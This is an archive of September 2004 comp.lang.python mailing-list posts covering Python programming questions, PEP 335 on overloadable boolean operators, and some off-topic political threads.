<cbfalconer at yahoo.com> wrote: >>>>>> Alan Balmer wrote: >>>>>>> >>>>>>... snip ... > >[snipp Rush Limbaugh's's talks show mentioned] > >>>I deplore your tast in radio talk shows. >> >>Oh! Taste in talk shows. > >Ah, then I have deplorable tastes in your opinion. I find Rush >greatly entertaining; but wouldn't use him as a data point. Oh, not just him but the ...I can't think of a good word to use...I use it as a pulse measurement to find out what that particular ilk of people are thinking. > >I wish the left could dig up someone as entertaining as Rush. Carvell. > >>> .. It doesn't take much to >>>create a rabble rousing poll to increase ratings. >> >>I listen to them for data about how the rabble is thinking >>and the logic they use to form their opinions. I also >>watch those religious cable TV shows to gather the same kinds >>of information; note that I can only manage to listen to these >>about 10 minutes and not more than once/year. I also listen >>to Rushie to see what kinds of lies that half of the world is >>listening to. I watch CSPAN who never cut out for commericals, >>don't edit too much, and tend to leave the mike on after the >>meetings break up. ' > >With most of these you miss the point if you listen for content >at all. I generally use the content as a clue to figure out what the group is trying to not talk about a.k.a. smoke and mirrors. There are other things one can deduce based on what is getting talked about and how it's getting described. > ..The media IS the message. And you are the product, to >be entertained enough so you can be sold to advertisers. Sure. The exception is those who don't have normal behaviour patterns. <snip> /BAH Subtract a hundred and four for e-mail. From ialbert at mailblocks.com Wed Sep 15 10:53:29 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Wed, 15 Sep 2004 10:53:29 -0400 Subject: IDLE vs. the command line? In-Reply-To: <slrnckfu0f.6b6.ohyvarin@sirppi.helsinki.fi> References: <slrnckfu0f.6b6.ohyvarin@sirppi.helsinki.fi> Message-ID: <9aedna2_jub6ytXcRVn-qQ@giganews.com> Otto T Hyvarinen wrote: > uses C extensions a lot. One of those C methods does the segmentation > fault when run from the command line, but _not_ when run from the IDLE. > This is quite strange. The various ways in which memory corruption manifests itself in C programs sometime appear to be governed by mysterious powers, a higher authority or simply IDLE. Istvan. From da_rosser at yahoo.com Fri Sep 10 16:35:46 2004 From: da_rosser at yahoo.com (Doug Rosser) Date: 10 Sep 2004 13:35:46 -0700 Subject: What's the Pythonic way to do this? Message-ID: <e08cd05f.0409101235.50b1f8f3@posting.google.com> class Cycle(object): def __init__(self, inputList): object.__init__(self) self.index = 0 self.limit = len(inputList) self.list = inputList def next(self): """ returns the next element of self.list, jumping back to the head of the list if needed. Yes, this is an infinite loop. (Use with caution) Arguments: none Returns: the next element of self.list """ if self.index+1 < self.limit: self.index+=1 return self.list[self.index-1] else: self.index=0 return self.list[self.limit-1] From db3l at fitlinxx.com Thu Sep 2 10:03:56 2004 From: db3l at fitlinxx.com (David Bolen) Date: 02 Sep 2004 10:03:56 -0400 Subject: import pyd from zip file References: <35b736b9.0409020513.598fc4e0@posting.google.com> Message-ID: <uu0ugepir.fsf@fitlinxx.com> johnfkeeling at yahoo.com (John Keeling) writes: > Am I doing something wrong? Is zipimport not designed for pyds? ... or > is it an ommission in the functionality of zipimport? I looked at the > bugs database, and didn't see a mention of this. No, I don't expect zipimport is designed to handle pyds. pyds are really system binary shared libraries, and as such, while Python may augment the search path to locate them, they are actually loaded by the operating system, so they must be available (e.g. in the filesystem) for access by the operating system directly. The only way for it to work would be if zipimport, upon finding a pyd in a zip file, were to extract it to a temporary directory and then load it from that directory through the OS. That would sort of defeat the purpose of having it in a zip in the first place as opposed to just including the file along with the zip. -- David From prinster at mail.com Wed Sep 29 20:01:31 2004 From: prinster at mail.com (Stephen Prinster) Date: Thu, 30 Sep 2004 00:01:31 GMT Subject: odbc error In-Reply-To: <cje8bg$t9m$1@lacerta.tiscalinet.it> References: <cje8bg$t9m$1@lacerta.tiscalinet.it> Message-ID: <v1I6d.21604$QJ3.865@newssvr21.news.prodigy.com> Michele Petrazzo wrote: > I'm using odbc on win95 and I have an incomprehensible error after a query: > > INSERT INTO test VALUES (f1,f2,f3) VALUES ("t1", "t2", "") > > table test and fields f1,f2,f3 exists :) and I can write to this table. > > The error is : > [Microsoft][Driver ODBC dBase] Too few parameters. Expected 2. > > What can I do? > > Thanks, > Michele Petrazzo In addition to using single quotes and assuming f1, f2, f3 are field names, try eliminating the first "VALUES", like this: INSERT INTO test (f1,f2,f3) VALUES ('t1', 't2', '') From pfortin at pfortin.com Tue Sep 14 21:01:29 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Tue, 14 Sep 2004 21:01:29 -0400 Subject: comparing datetime with date References: <mailman.3292.1095162740.5135.python-list@python.org> <41477d9a$0$24391$5a62ac22@per-qv1-newsreader-01.iinet.net.au> <20040914203729.627f40ad@gypsy.pfortin.com> Message-ID: <20040914210129.251478d7@gypsy.pfortin.com> On Tue, 14 Sep 2004 20:37:29 -0400 Pierre wrote: > > All i can assume is that when a Date / DateTime comparision is made > > the'lowest denominator' i.e Date is used but I may be very wrong > > I agree... Oops... LOL ...with the first part. From dan.gass at gmail.com Fri Sep 3 12:41:41 2004 From: dan.gass at gmail.com (Dan Gass) Date: 3 Sep 2004 09:41:41 -0700 Subject: Test the existence of a variable? References: <ch9hhf$4re$1@s5.feed.news.oleane.net> Message-ID: <bc15ba28.0409030841.de4e9e4@posting.google.com> "Thierry S." <thierry.s at free.fr> wrote in message news:<ch9hhf$4re$1 at s5.feed.news.oleane.net>... > Hello. > > I would to test the existence of a variable before to use it (like > isset($myVar) in PHP). > I try using "if myVar: ", but there is the error meesage (naturally): > "NameError: name 'myVar' is not defined" > > Please, could you tell me what for function exist to test the variable with > Python? > > Regards, You may want to look at using a try/except block, for example: try: print myVar except NameError: print "myVar does not exist" </dan> From mwh at python.net Mon Sep 6 06:44:36 2004 From: mwh at python.net (Michael Hudson) Date: Mon, 6 Sep 2004 10:44:36 GMT Subject: age of Python programmers References: <mailman.1859.1092833285.5135.python-list@python.org> <889cbba0.0408181206.1812881c@posting.google.com> <mailman.1900.1092860258.5135.python-list@python.org> <Xns954A5141FF84JanC@213.118.38.197> <d8778a53.0408311322.9ad0233@posting.google.com> <6amZc.17353$ni.8118@okepread01> <mailman.2862.1094292746.5135.python-list@python.org> <4edc17eb.0409042048.3a9ed856@posting.google.com> Message-ID: <m37jr7ekx7.fsf@pc150.maths.bris.ac.uk> I'm nearly 26 now, learnt Python when 19, etc, etc. The only new data point is that I'm reasonably sure that my first commit to the Python project, which I think was this one: http://mail.python.org/pipermail/python-checkins/2001-August/019971.html is the youngest anyone's been when doing that (I was 22 and ~10 months, which isn't especially young for an OS project...). Cheers, mwh -- It could be argued that since Suitespot is infinitely terrible, that anything else, by very definition of being anything else, is infinitely superior. -- ".", alt.sysadmin.recovery From aleaxit at yahoo.com Fri Sep 24 02:28:20 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 24 Sep 2004 08:28:20 +0200 Subject: for_some(), for_all()? References: <opseqmpvg86yt6e7@news.cisco.com> <cisc33$hpi$1@pegasus.csx.cam.ac.uk> <2Pt4d.5569$sa.1897@trndny05> <ciua3q$lru$1@pegasus.csx.cam.ac.uk> <yYD4d.17527$%42.4947@trndny08> Message-ID: <1gklz0j.1uinpao1qf4wj3N%aleaxit@yahoo.com> Raymond Hettinger <vze4rx4y at verizon.net> wrote: > [Michele Simionato] > > I always wondered why "any" and "all" are given as recipes but are not > > part of the itertools module. What is the rationale? > > I think they are so common that they deserve to be in the module. > > At least, we would have standard names. > > Random thoughts on itertools recipes and module design: [snipped lots of valuable considerations] and one more, specific thing...: 'any' and 'all', like (say) other potentially useful functions such as count, average, etc, are _accumulators_ -- they _consume_ an iterator, producing a 'scalar' result. itertools is about filters and producers -- calling itertools.whatever _returns_ an iterator. I'd like a small module of accumulators. But putting accumulators into itertools is the wrong placing. A general rule that helps users remember what-goes-where, such as 'itertools stuff returns iterators', is too precious to throw away lightly, IMHO. Alex From hans at zephyrfalcon.org Tue Sep 14 19:50:53 2004 From: hans at zephyrfalcon.org (Hans Nowak) Date: Tue, 14 Sep 2004 19:50:53 -0400 Subject: up with PyGUI! In-Reply-To: <mailman.3318.1095180577.5135.python-list@python.org> References: <mailman.3318.1095180577.5135.python-list@python.org> Message-ID: <414783DD.4070509@zephyrfalcon.org> Zooko O'Whielacronx wrote: > I'm a fan of Greg Ewing's PyGUI [1]. I used it to code a simple game > for my son [2], and enjoyed it. Programming with wxPython feels like > programming with a C++ tool that has been wrapped in Python. This problem is addressed by Wax: http://zephyrfalcon.org/labs/dope_on_wax.html http://zephyrfalcon.org/labs/wax_primer.html http://zephyrfalcon.org/moin.cgi/Wax http://zephyrfalcon.org/labs/wax_file_explorer.html (Sorry, no real homepage is available yet for Wax.) -- Hans Nowak (hans at zephyrfalcon.org) http://zephyrfalcon.org/ From clifford.wells at comcast.net Sun Sep 19 22:53:23 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Sun, 19 Sep 2004 19:53:23 -0700 Subject: python vs c# In-Reply-To: <cilas7$3lm$1@sea.gmane.org> References: <mailman.3520.1095631846.5135.python-list@python.org> <EPmdnagKPrUPhtPcRVn-iQ@giganews.com> <cilas7$3lm$1@sea.gmane.org> Message-ID: <1095648803.31957.373.camel@devilbox.devilnet.internal> On Sun, 2004-09-19 at 21:13 -0400, julio wrote: > But why so much resistence to the change ? is the denyal of reality fine? > why dont you care? i wouldnt care if i used python for small system > scripts. Julio, you have convinced me. I *am* going to change. I am going to double my productivity by not reading or responding to silly postings like this anymore. I doubt any IDE in the world is going to bring back the time everyone here (yourself included) has wasted listening to you berate people for not programming the way you do. Regards, Cliff -- Cliff Wells <clifford.wells at comcast.net> From narshe at gmail.com Thu Sep 23 11:00:58 2004 From: narshe at gmail.com (Josh Close) Date: Thu, 23 Sep 2004 10:00:58 -0500 Subject: Python in a Nutshell for Python 2.4 In-Reply-To: <1gkkjme.1larcxs9r607kN%aleaxit@yahoo.com> References: <df045d93.0409221344.52d18be9@posting.google.com> <2Pt4d.5568$sa.2954@trndny05> <1gkkjme.1larcxs9r607kN%aleaxit@yahoo.com> Message-ID: <4a0cafe2040923080042392631@mail.gmail.com> On Thu, 23 Sep 2004 13:58:03 +0200, Alex Martelli <aleaxit at yahoo.com> wrote: > I have not yet negotiated with O'Reilly about a 2nd edition of the > Nutshell, but I do suspect they'll be quite happy letting me write one, > _after_, as RH says, the 2nd edition of the Cookbook (we're still > targeting March 2004 for that one). Considering the times involved etc > etc, I believe it is out of the question for the 2nd edition of the > Nutshell to be in print in time for OSCON 2005 (==July 2005), alas. So, > don't hold your breath: I believe it will be _at least_ a year from now > before you can buy the 2nd edition of the Nutshell in bookstores:-(. > > > Alex Is there any particular reason you left out certain things in the Nutshell book? Like os.fork and syslog, and a few others I can't think of off the top of my head? Maybe because they work the same as the C version or something, or there is man pages about it? Just curious why, and if they'll be in the next version or not. -Josh From sparklist-confirm-13529505X at list.ski-europe.com Fri Sep 3 09:13:28 2004 From: sparklist-confirm-13529505X at list.ski-europe.com (SkiEurope Report Confirmation (from SparkLIST.com)) Date: Fri, 03 Sep 2004 06:13:28 -0700 Subject: Your confirmation is needed Message-ID: <SPARKLIST-13529505-1161334-2004.09.03-06.13.28--python-list#python.org@list.ski-europe.com> Please reply to this email message to confirm your subscription to skieuropereport. Your email address has been entered for a subscription to the skieuropereport mailing list. However, your new subscription requires a confirmation that you received this email message and want to join this mailing list. If you do not want to join, do nothing. You will be automatically removed. To confirm that you do want to join, simply reply to this message. Make sure that your message is addressed to sparklist-confirm-13529505X at list.ski-europe.com To unsubscribe immediately, you send an email message to leave-skieuropereport-13529505X at list.ski-europe.com From zathras at thwackety.com Fri Sep 10 15:59:06 2004 From: zathras at thwackety.com (Michael Sparks) Date: Fri, 10 Sep 2004 20:59:06 +0100 (BST) Subject: Microthreads without Stackless? In-Reply-To: <29786.209.46.8.140.1094842121.squirrel@mail.hobbshouse.org> Message-ID: <Pine.LNX.4.44.0409102055400.4881-100000@pingu.thwackety.com> On Fri, 10 Sep 2004, Michael Hobbs wrote: > Does anyone know of an existing package that provides microthreads, other > than Stackless Python? Greenlets will *probably* match what you're after. They're included with Stackless, but work just fine with regular python. Regards, Michael. From jlearman at cisco.com Sat Sep 4 16:07:37 2004 From: jlearman at cisco.com (Jeff Learman) Date: Sat, 04 Sep 2004 16:07:37 -0400 Subject: blocking read on stdin on Windows? In-Reply-To: <parjj0lhoqijnqf5dh2ic95b5lqm7s627r@4ax.com> References: <1094311253.319782@sj-nntpcache-5> <parjj0lhoqijnqf5dh2ic95b5lqm7s627r@4ax.com> Message-ID: <1094328694.600413@sj-nntpcache-3> (sheepish grin: didn't see the MS-specific chapter!) Thanks :) Dennis Lee Bieber wrote: > On Sat, 04 Sep 2004 11:23:12 -0400, Jeff Learman <jlearman at cisco.com> > declaimed the following in comp.lang.python: > > >>I want to do a very simple thing in Windows. (Using Python Shell.) >> >>I want to write a prompt to sys.stdout and read the user input. >>(Ideally, without waiting for a newline.) >> > > Library reference > Section 22 (M$ specific) > Subsection .1.2 (Console I/O) > > lib> kbhit( ) > lib> Return true if a keypress is waiting to be read. > lib> > lib> getch( ) > lib> Read a keypress and return the resulting character. Nothing is > echoed to the console. This call will block if a keypress is not already > available, but will not wait for Enter to be pressed. If the pressed key > was a special function key, this will return '\000' or '\xe0'; the next > call will return the keycode. The Control-C keypress cannot be read with > this function. > lib> > lib> getche( ) > lib> Similar to getch(), but the keypress will be echoed if it > represents a printable character. > lib> > lib> putch( char) > lib> Print the character char to the console without buffering. > lib> > lib> ungetch( char) > lib> Cause the character char to be ``pushed back'' into the console > buffer; it will be the next character read by getch() or getche(). > > stdin tends to be buffered by the OS -- the OS doesn't release > anything until the new-line. You have to use OS specific operations to > get to the data in the buffer. > From greg at cosc.canterbury.ac.nz Thu Sep 9 20:55:03 2004 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Fri, 10 Sep 2004 12:55:03 +1200 Subject: PEP 335: Overloadable Boolean Operators - Official Posting Message-ID: <2qccb9Fuac61U1@uni-berlin.de> PEP: 335 Title: Overloadable Boolean Operators Version: $Revision: 1.2 $ Last-Modified: $Date: 2004/09/09 14:17:17 $ Author: Gregory Ewing <greg at cosc.canterbury.ac.nz> Status: Draft Type: Standards Track Content-Type: text/x-rst Created: 29-Aug-2004 Python-Version: 2.4 Post-History: 05-Sep-2004 Abstract ======== This PEP proposes an extension to permit objects to define their own meanings for the boolean operators 'and', 'or' and 'not', and suggests an efficient strategy for implementation. A prototype of this implementation is available for download. Background ========== Python does not currently provide any '__xxx__' special methods corresponding to the 'and', 'or' and 'not' boolean operators. In the case of 'and' and 'or', the most likely reason is that these operators have short-circuiting semantics, i.e. the second operand is not evaluated if the result can be determined from the first operand. The usual technique of providing special methods for these operators therefore would not work. There is no such difficulty in the case of 'not', however, and it would be straightforward to provide a special method for this operator. The rest of this proposal will therefore concentrate mainly on providing a way to overload 'and' and 'or'. Motivation ========== There are many applications in which it is natural to provide custom meanings for Python operators, and in some of these, having boolean operators excluded from those able to be customised can be inconvenient. Examples include: 1. Numeric/Numarray, in which almost all the operators are defined on arrays so as to perform the appropriate operation between corresponding elements, and return an array of the results. For consistency, one would expect a boolean operation between two arrays to return an array of booleans, but this is not currently possible. There is a precedent for an extension of this kind: comparison operators were originally restricted to returning boolean results, and rich comparisons were added so that comparisons of Numeric arrays could return arrays of booleans. 2. A symbolic algebra system, in which a Python expression is evaluated in an environment which results in it constructing a tree of objects corresponding to the structure of the expression. 3. A relational database interface, in which a Python expression is used to construct an SQL query. A workaround often suggested is to use the bitwise operators '&', '|' and '~' in place of 'and', 'or' and 'not', but this has some drawbacks. The precedence of these is different in relation to the other operators, and they may already be in use for other purposes (as in example 1). There is also the aesthetic consideration of forcing users to use something other than the most obvious syntax for what they are trying to express. This would be particularly acute in the case of example 3, considering that boolean operations are a staple of SQL queries. Rationale ========= The requirements for a successful solution to the problem of allowing boolean operators to be customised are: 1. In the default case (where there is no customisation), the existing short-circuiting semantics must be preserved. 2. There must not be any appreciable loss of speed in the default case. 3. If possible, the customisation mechanism should allow the object to provide either short-circuiting or non-short-circuiting semantics, at its discretion. One obvious strategy, that has been previously suggested, is to pass into the special method the first argument and a function for evaluating the second argument. This would satisfy requirements 1 and 3, but not requirement 2, since it would incur the overhead of constructing a function object and possibly a Python function call on every boolean operation. Therefore, it will not be considered further here. The following section proposes a strategy that addresses all three requirements. A `prototype implementation`_ of this strategy is available for download. .. _prototype implementation: http://www.cosc.canterbury.ac.nz/~greg/python/obo//Python_OBO.tar.gz Specification ============= Special Methods --------------- At the Python level, objects may define the following special methods. =============== ================= ======================== Unary Binary, phase 1 Binary, phase 2 =============== ================= ======================== * __not__(self) * __and1__(self) * __and2__(self, other) * __or1__(self) * __or2__(self, other) * __rand2__(self, other) * __ror2__(self, other) =============== ================= ======================== The __not__ method, if defined, implements the 'not' operator. If it is not defined, or it returns NotImplemented, existing semantics are used. To permit short-circuiting, processing of the 'and' and 'or' operators is split into two phases. Phase 1 occurs after evaluation of the first operand but before the second. If the first operand defines the appropriate phase 1 method, it is called with the first operand as argument. If that method can determine the result without needing the second operand, it returns the result, and further processing is skipped. If the phase 1 method determines that the second operand is needed, it returns the special value NeedOtherOperand. This triggers the evaluation of the second operand, and the calling of an appropriate phase 2 method. During phase 2, the __and2__/__rand2__ and __or2__/__ror2__ method pairs work as for other binary operators. Processing falls back to existing semantics if at any stage a relevant special method is not found or returns NotImplemented. As a special case, if the first operand defines a phase 2 method but no corresponding phase 1 method, the second operand is always evaluated and the phase 2 method called. This allows an object which does not want short-circuiting semantics to simply implement the relevant phase 2 methods and ignore phase 1. Bytecodes --------- The patch adds four new bytecodes, LOGICAL_AND_1, LOGICAL_AND_2, LOGICAL_OR_1 and LOGICAL_OR_2. As an example of their use, the bytecode generated for an 'and' expression looks like this:: . . . evaluate first operand LOGICAL_AND_1 L evaluate second operand LOGICAL_AND_2 L: . . . The LOGICAL_AND_1 bytecode performs phase 1 processing. If it determines that the second operand is needed, it leaves the first operand on the stack and continues with the following code. Otherwise it pops the first operand, pushes the result and branches to L. The LOGICAL_AND_2 bytecode performs phase 2 processing, popping both operands and pushing the result. Type Slots ---------- A the C level, the new special methods are manifested as five new slots in the type object. In the patch, they are added to the tp_as_number substructure, since this allowed making use of some existing code for dealing with unary and binary operators. Their existence is signalled by a new type flag, Py_TPFLAGS_HAVE_BOOLEAN_OVERLOAD. The new type slots are:: unaryfunc nb_logical_not; unaryfunc nb_logical_and_1; unaryfunc nb_logical_or_1; binaryfunc nb_logical_and_2; binaryfunc nb_logical_or_2; Python/C API Functions ---------------------- There are also five new Python/C API functions corresponding to the new operations:: PyObject *PyObject_LogicalNot(PyObject *); PyObject *PyObject_LogicalAnd1(PyObject *); PyObject *PyObject_LogicalOr1(PyObject *); PyObject *PyObject_LogicalAnd2(PyObject *, PyObject *); PyObject *PyObject_LogicalOr2(PyObject *, PyObject *); Copyright ========= This document has been placed in the public domain. .. Local Variables: mode: indented-text indent-tabs-mode: nil sentence-end-double-space: t fill-column: 70 End: From albalmer at att.net Tue Sep 7 13:57:17 2004 From: albalmer at att.net (Alan Balmer) Date: Tue, 07 Sep 2004 10:57:17 -0700 Subject: Xah Lee's Unixism References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com> <P5GdnU8q-8Sw66rcRVn-qg@powergate.ca> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <ur7pks59p.fsf@mail.comcast.net> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <Os7_c.113460$Fg5.65632@attbi_s53> <1094257487.855439@teapot.planet.gong> <Icn_c.9228$lv3.4077523@news4.srv.hcvlny.cv.net> Message-ID: <0itrj0ppr5urv2cohmhjmbtlc4ka794fc4@4ax.com> On Sat, 04 Sep 2004 17:47:20 GMT, "John W. Kennedy" <jwkenne at attglobal.net> wrote: >Rupert Pigott wrote: >> I would hope that Morton Thiokol's experience at building a diverse >> range of rockets might have been a factor in the decision too. > >I would hope so too, but that isn't how it happened. In history as it >actually went, the Morton-Thiokol design came in a distant fourth, and >the White House ordered NASA to try again, but this time come up with >the "right" answer. This disagrees with the scenario presented (and documented) elsethread. Do you have supporting references? -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From russblau at hotmail.com Tue Sep 28 09:56:11 2004 From: russblau at hotmail.com (Russell Blau) Date: Tue, 28 Sep 2004 09:56:11 -0400 Subject: Problem with a dictionary program.... References: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net> Message-ID: <2rt8rsF1ej1qmU1@uni-berlin.de> "Ling Lee" <janimal at mail.trillegaarden.dk> wrote in message news:415966e1$0$23075$ba624c82 at nntp05.dk.telia.net... > > and I have to use the raw_input method to get the number: > > indput : raw_input(" Tell me the number you want to transform to textuel > representaion") > > The I have to transform the input to a string > indput = str(indput) Actually, the value returned by raw_input() *is* a string, but you might want to check to see whether the user has actually typed in an integer as opposed to typing, say, "Go away you stupid computer." try: indput = str(int(indput)) except ValueError: print "No, you need to give me an integer." > Will one of you be so kind and tell me how I count the lengt of the indput > number i was thinking on something like input.count[:] but that dosnt > work... You could consider using the built-in function len(). -- I don't actually read my hotmail account, but you can replace hotmail with excite if you really want to reach me. From spam at nimblegen.com Tue Sep 14 10:46:52 2004 From: spam at nimblegen.com (Chuck Dillon) Date: Tue, 14 Sep 2004 09:46:52 -0500 Subject: Xah Lee's Unixism In-Reply-To: <m3pt4qc57f.fsf@europa.pienet> References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <opsd2vlvy7pqzri1@mjolner.upc.no> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> <chsu8b$ujb$1@grandcanyon.binc.net> <Eeo0d.18563$Qx2.9439@newssvr29.news.prodigy.com> <ci4gs0$23p$1@grandcanyon.binc.net> <m3pt4qc57f.fsf@europa.pienet> Message-ID: <ci707n$miq$1@grandcanyon.binc.net> Greg Menke wrote: > Chuck Dillon <spam at nimblegen.com> writes: > > >>Antony Sequeira wrote: >> >> >>>Chuck Dillon wrote: >>>How is that related to Saqqddam Hussqqqqqain being a jackass and us >>>spending 100 or whatever billions on removing him and having 1000+ >>>of Americans + unknown number of Iraqqqqqis getting killed. How does >>>that help avoid >>>9 qqqq 11 or are you confused between Iraqqqqqis and Saudqqqqis ? >> >>If you reread the post that you responded to you will see it has >>nothing to do with Iraq. >> >>However, to answer your question: How does regime change in Iraq help >>avoid another 9/11... >> 1) It removes one of the states that might consider sponsing >>such a future attach. > > > Wouldn't it have made more sense to invade Saudi Arabia? Thats where > the terrorist money and terrorist leadership is from. Iraq is chump > change on that account- heck, even Iran or Syria would've made a much > better target on this basis. Or are we such bullies that we'll pick > the weakest kid to beat up to show how strong we are? Please try and follow the trend of the thread you respond to. I did not address whether or not regime change in Iraq was an optimal move. I'm responding to the question posed, see above for what it was. Regardless of how we got where we are there are arguably benefits to the "war on terror". That doesn't mean you should miopically focus on them as the sole rationale for regime change in Iraq. See the various U.N Security Counsil resolutions for the primary rationale. Also, see the reports from Blix et.al. that point out the lack of cooperation on the part of the Iraqi government. > >> 6) It underscores that 9/11 should go into the "bad idea" >>category for future planners of Islamic extremist operations. > > > Afganistan taught that. Hence my use of the qualifier "underscores". > Iraq teaches the Islamic world that we're > crazy. By "we" you are referring to the some 40 nations who have contributed to the effort right? -- ced -- Chuck Dillon Senior Software Engineer NimbleGen Systems Inc. From chrisks at NOSPAM.udel.edu Sun Sep 19 04:52:13 2004 From: chrisks at NOSPAM.udel.edu (Chris S.) Date: Sun, 19 Sep 2004 08:52:13 GMT Subject: Math errors in python In-Reply-To: <natcr8xc829g.16rpbpuuhuazi.dlg@40tude.net> References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com> <pan.2004.09.19.13.27.17.613143@jerf.org> <Ooa3d.318$Pz3.245@trndny01> <mailman.3490.1095579571.5135.python-list@python.org> <70b3d.1822$uz1.747@trndny03> <natcr8xc829g.16rpbpuuhuazi.dlg@40tude.net> Message-ID: <1Nb3d.1326$HH5.1293@trndny05> Richard Townsend wrote: > On Sun, 19 Sep 2004 08:00:03 GMT, Chris S. wrote: > > >>Sqrt is a fair criticism, but Pi equals 22/7, exactly the form this >>arithmetic is meant for. Any decimal can be represented by a fraction, >>yet not all fractions can be represented by decimals. My point is that >>such simple accuracy should be supported out of the box. >> > > > Do you really think Pi equals 22/7 ? Of course not. That's just a common approximation. Irrational numbers are an obvious exception, but we shouldn't sacrifice the accuracy of common decimal math just for their sake. > >>>>import math >>>>print math.pi > > 3.14159265359 > >>>>print 22.0/7.0 > > 3.14285714286 > > What do you get on your $20 calculator ? The same thing actually. From martin at v.loewis.de Thu Sep 2 02:27:04 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Thu, 02 Sep 2004 08:27:04 +0200 Subject: Extending/Embedding python In-Reply-To: <mailman.2744.1094082648.5135.python-list@python.org> References: <mailman.2744.1094082648.5135.python-list@python.org> Message-ID: <4136bd37$0$21772$9b622d9e@news.freenet.de> Alicia Haumann wrote: > 1. (Not extending/embedding related at all) How can I pass in a load/bunch > of defines so I can use them over and over again, instead of having to copy > them in every *.py script. You should use PyModule_Add<Foo>Constant. > 2. A couple simple examples I've seen for initModule() are written > differently. One only calls Py_InitModule("module", module_methods), but > the other also calls PyImport_AddModule("module"). What is the difference? > What does PyImport_AddModule() accomplish? See http://docs.python.org/api/importing.html > 3. When embedding Python into my simple application, why can't I pass > application parameters? PyRun_SimpleString seems to only take hard-coded > values. Can/How can I get around this? Don't use PyRun_SimpleString; use PyObject_CallFunction/Method instead. HTH, Martin From martin at v.loewis.de Sun Sep 5 05:24:50 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sun, 05 Sep 2004 11:24:50 +0200 Subject: Minor nit in Py24 installer: Deselecting register extensions de-registers existing associations In-Reply-To: <mailman.2888.1094353721.5135.python-list@python.org> References: <mailman.2888.1094353721.5135.python-list@python.org> Message-ID: <413adb5b$0$24811$9b622d9e@news.freenet.de> Mike C. Fletcher wrote: > After installation, there are *no* associations with Python files, that > is "assoc .py" on the command line shows that there's no "Python" file > type remaining. I'll see what I can do about this. This extension-registration turns out to be really tricky, as MSI does not support conditional installation of extensions out of the box. Regards, Martin From BrenBarn at aol.com Fri Sep 10 15:07:26 2004 From: BrenBarn at aol.com (OKB (not okblacke)) Date: 10 Sep 2004 19:07:26 GMT Subject: Nested class structures Message-ID: <Xns95607B54E1208OKB@130.133.1.4> For a variety of reasons, I'm interested in putting together some code that will allow me to created structures out of nested classes, something like: class class1: def methA(self): print "Some code here" class class2: propA = "A" def methB(self): print "Some more code here" class class3: # etc. class class4: pass #etc The main problem is that Python does not seem to provide enough information about the lexical context of definitions like this. In particular, I would like the ability to have some of the nested classes be "anonymous" -- that is, I don't want to have to worry about choosing identifiers for them. I'd LIKE to do this: class class1: class anon: pass class anon: pass class anon: pass . . . and somehow intercept or monitor the name-binding that's going on there so I wind up with three separate classes which are bound to uniquely named attributes of class1. But I can't do this because each anon stomps on the previous name binding, and there doesn't seem to be a way to intervene and bind a new attribute in class1, because class1 isn't really created until after all the nested class definitions happen. I've been playing around with various metaclass approaches, but I can't seem to get it to really work. (In the nested class structures, the metaclass instantiations happen from the bottom up, and that's the main snag.) Are there any hooks or hacks that would allow me to affect the way nested class definitions are bound to the attribute names of an enclosing class definition? Or alternatively, a way to construct on the fly a separate list or tree that reflects the nesting structure? -- --OKB (not okblacke) Brendan Barnwell "Do not follow where the path may lead. Go, instead, where there is no path, and leave a trail." --author unknown From pwatson at redlinepy.com Fri Sep 3 09:46:01 2004 From: pwatson at redlinepy.com (Paul Watson) Date: Fri, 3 Sep 2004 08:46:01 -0500 Subject: print with no newline Message-ID: <2prasrFo4rruU1@uni-berlin.de> I thought that using a comma at the end of a print statement would suppress printing of a newline. Am I misunderstanding this feature? How can I use print and not have a newline appended at the end? C:\src\projects\test1>python -c "import sys;print sys.version, 'running on', sys.platform" 2.3.4 (#53, May 25 2004, 21:17:02) [MSC v.1200 32 bit (Intel)] running on win32 C:\src\projects\test1>python -c "print 'here'," >jjj C:\src\projects\test1>od -c jjj 0000000 h e r e \r \n 0000006 $ python -c "import sys;print sys.version, 'running on', sys.platform" 2.1 (#1, May 23 2003, 11:43:56) [C] running on aix4 $ cat eoltest.py #!/usr/bin/env python print 'here', $ ./eoltest.py >jjj $ od jjj 0000000 068 065 072 065 00a h e r e \n 0000005 From googlemike at hotpop.com Thu Sep 2 16:04:10 2004 From: googlemike at hotpop.com (Google Mike) Date: 2 Sep 2004 13:04:10 -0700 Subject: HOWTO: Set Main Application Font in PyGTK References: <25d8d6a8.0409011731.2078f58b@posting.google.com> <41371BDB.4080706@draigBrady.com> Message-ID: <25d8d6a8.0409021204.6531e667@posting.google.com> > You have read section 4 of the FAQ haven't you? > http://www.async.com.br/faq/pygtk/index.py?req=index > > P?draig. This was extremely useful and had much more information that I found useful than I expected! Why hadn't I known about it sooner?? :) From lonetwin at gmail.com Tue Sep 21 11:15:29 2004 From: lonetwin at gmail.com (Steve) Date: Tue, 21 Sep 2004 20:45:29 +0530 Subject: OT: regex to find email In-Reply-To: <4a0cafe204092108038020f72@mail.gmail.com> References: <4a0cafe204092108038020f72@mail.gmail.com> Message-ID: <5a309bd304092108153f18189a@mail.gmail.com> Hi Josh, > I've been trying to find a good regex to parse emails, but haven't > found 